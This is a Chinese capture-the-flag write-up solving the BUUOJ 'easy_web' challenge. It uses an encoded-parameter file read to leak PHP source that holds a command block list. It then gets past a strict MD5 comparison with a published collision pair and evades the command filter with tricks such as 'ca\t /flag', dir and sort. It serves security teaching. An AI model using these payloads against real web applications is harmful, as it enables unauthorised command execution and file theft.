https://buuoj.cn/challenges#[%E5%AE%89%E6%B4%B5%E6%9D%AF%202019]easy_web
TXpVek5UTTFNbVUzTURabE5qYz0
经过base64decode->base64decode->hexdecode
得到555.png
解码编码脚本或者自己利用在线工具编码也行
from binascii import *
from base64 import *
def decode(param):
res = b64decode(b64decode(param))
res = unhexlify(res)
print(res.decode('utf8'))
def encode(param):
res = hexlify(bytes(param.encode('utf8')))
res = b64encode(b64encode(res))
print(res.decode("utf8"))
if __name__ == "__main__":
param = 'TXpVek5UTTFNbVUzTURabE5qYz0='
decode(param)
查看源码,发现这里是将图片内容直接base64编码,猜测是base64_encode(file_get_content('55.png'))
把这里的555.png
换成index.php
,看看能不能读到源码,利用上面的脚本encode一下
/index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=
查看源码将base64数据提取出来解码
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
读到了index.php
,但是尝试读取非当前目录的文件时,无法读取,应该是限制了读取文件的目录,审计源码,发现了$cmd
是可控制命令执行的,但是要绕过这里的两个判断
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
先看看如何满足下面这个
(string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])
md5强比较,并且传入的参数会被转换成字符,那就需要找到两个不同的字符但是他们的md5值是相同的
搜索引擎找了下,参考以下这个:
https://crypto.stackexchange.com/questions/1434/are-there-two-known-strings-which-have-the-same-md5-hash-value
随意参考其中一个例子即可
d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70
d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70
我们验证一下,将以上hex数据以字节流形式写入文件
from binascii import *
with open('md5-1.txt','r') as f:
f = f.read()
with open('md5-1','wb') as i:
i.write(unhexlify(f))
with open('md5-2.txt','r') as f:
f = f.read()
with open('md5-2','wb') as i:
i.write(unhexlify(f))
来看一下md5-1
和md5-2
的md5值
两个不一样的文件,它们的md5值完全一样
将文件的十六进制字节流数据unhex
解码一下,因为有不可显示字符,urlencode
编码一下
from binascii import *
from urllib.parse import *
str1md5 = 'd131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70'
str2md5 = 'd131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70'
a = quote(unhexlify(str1md5))
b = quote(unhexlify(str2md5))
print('a={}&b={}'.format(a,b))
a=%D11%DD%02%C5%E6%EE%C4i%3D%9A%06%98%AF%F9%5C/%CA%B5%87%12F~%AB%40%04X%3E%B8%FB%7F%89U%AD4%06%09%F4%B3%02%83%E4%88%83%25qAZ%08Q%25%E8%F7%CD%C9%9F%D9%1D%BD%F2%807%3C%5B%D8%82%3E1V4%8F%5B%AEm%AC%D46%C9%19%C6%DDS%E2%B4%87%DA%03%FD%029c%06%D2H%CD%A0%E9%9F3B%0FW~%E8%CET%B6p%80%A8%0D%1E%C6%98%21%BC%B6%A8%83%93%96%F9e%2Bo%F7%2Ap&b=%D11%DD%02%C5%E6%EE%C4i%3D%9A%06%98%AF%F9%5C/%CA%B5%07%12F~%AB%40%04X%3E%B8%FB%7F%89U%AD4%06%09%F4%B3%02%83%E4%88%83%25%F1AZ%08Q%25%E8%F7%CD%C9%9F%D9%1D%BDr%807%3C%5B%D8%82%3E1V4%8F%5B%AEm%AC%D46%C9%19%C6%DDS%E24%87%DA%03%FD%029c%06%D2H%CD%A0%E9%9F3B%0FW~%E8%CET%B6p%80%28%0D%1E%C6%98%21%BC%B6%A8%83%93%96%F9e%ABo%F7%2Ap
成功绕过执行$cmd
接下来就是绕过命令执行过滤
preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)
ls
被过滤了,可以使用dir
绕过
文件读取这里过滤漏掉了sort
另外再记录一种在别的师傅那里看到的一种绕过关键字的方法,利用反斜杠\
l\s%20/
ca\t%20/flag
.......